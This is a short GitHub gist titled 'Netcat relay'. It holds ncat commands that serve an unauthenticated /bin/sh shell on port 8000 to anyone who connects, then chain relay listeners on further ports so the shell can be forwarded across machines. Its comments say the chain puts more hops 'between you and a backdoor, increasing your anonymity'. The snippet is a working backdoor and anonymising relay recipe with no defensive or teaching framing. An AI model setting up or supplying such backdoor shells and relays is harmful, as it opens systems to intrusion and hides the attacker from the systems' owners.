Created
April 13, 2014 05:13
-
-
Save conorpp/10570236 to your computer and use it in GitHub Desktop.
Netcat relay
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# Shove a shell at whoever requests it | |
ncat -l 0.0.0.0 8000 -e /bin/sh | |
# In a different terminal (or machine) set up a relay | |
ncat -l 0.0.0.0 8001 -c "ncat 0.0.0.0 8000" | |
# You can chain together as many relays as you'd like | |
ncat -l 0.0.0.0 8002 -c "ncat 0.0.0.0 8001" | |
ncat -l 0.0.0.0 8003 -c "ncat 0.0.0.0 8002" | |
ncat -l 0.0.0.0 8004 -c "ncat 0.0.0.0 8003" | |
# If you make a request to a relay, it will forward the shell to you | |
ncat 0.0.0.0 8004 | |
# If this is set up between multiple machines, it can increase the | |
# number of hops between you and a backdoor, increasing your | |
# anonymity. |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment